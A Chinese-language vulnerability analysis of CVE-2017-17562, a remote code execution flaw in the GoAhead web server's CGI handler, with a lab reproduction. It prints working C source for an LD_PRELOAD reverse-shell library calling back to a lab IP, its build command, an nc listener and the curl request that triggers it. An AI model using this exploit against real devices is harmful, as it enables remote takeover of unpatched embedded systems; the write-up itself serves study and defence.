GoAhead漏洞分析

GoAhead简介

GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的Web Server,多用于嵌入式系统、智能设备。其支持运行ASP、Javascript和标准的CGI程序,这个漏洞就出现在运行CGI程序的时候。

CVE-2017-17562 GoAhead远程代码执行漏洞分析

漏洞简介

CVE-2017-17562是一个远程命令执行漏洞

影响的版本若启用了CGI并动态链接了CGI程序的话,则可导致远程代码执行

漏洞的原因在于cgi.c的cgiHandler函数使用了不可信任的HTTP请求参数初始化CGI脚本的环境

可使用环境变量(LD_PRELOAD),利用glibc动态链接器加载任意程序实现远程代码执行

影响版本

受影响的GoAhead版本为2.5.03.6.4之间

漏洞分析

漏洞点存在于cgiHandler

漏洞的原因在于cgi.c的cgiHandler函数使用了不可信任的HTTP请求参数初始化CGI脚本的环境

没有对传入的数据进行检查,使得最终execve启动新进程执行cgi程序时的环境变量envp数组可控

漏洞利用

首先是如何利用envp环境变量数组,可以使用LD_PRELOAD这个变量

1
2
3
4
5
6
7
#include<stdio.h>

static void demo(void) __attribute__((constructor));
static void demo(void)
{
printf("hello world\n");
}

编译出demo.so,执行命令LD_PRELOAD=./demo.so whoami进行测试

因此如果我们可以上传文件为so,并指定LD_PRELOAD环境变量,即可实现任意代码执行

漏洞复现

在本地使用vulhub搭建测试环境

image

使用如下用于动态加载的so

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>

char *server_ip="192.168.195.128";
uint32_t server_port=7777;

static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
//socket initialize
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
//connect to the server
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
//dup the socket to stdin, stdout and stderr
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
//execute /bin/sh to get a shell
execve("/bin/sh", 0, 0);
}

编译命令

1
gcc -shared -fPIC ./exp.c -o exp.so
1
nc -lvnp 7777

执行poc:

1
curl -X POST --data-binary @exp.so http://192.168.195.128/cgi-bin/index\?LD_PRELOAD\=/proc/self/fd/0

即可弹shell

QQ截图20220628113946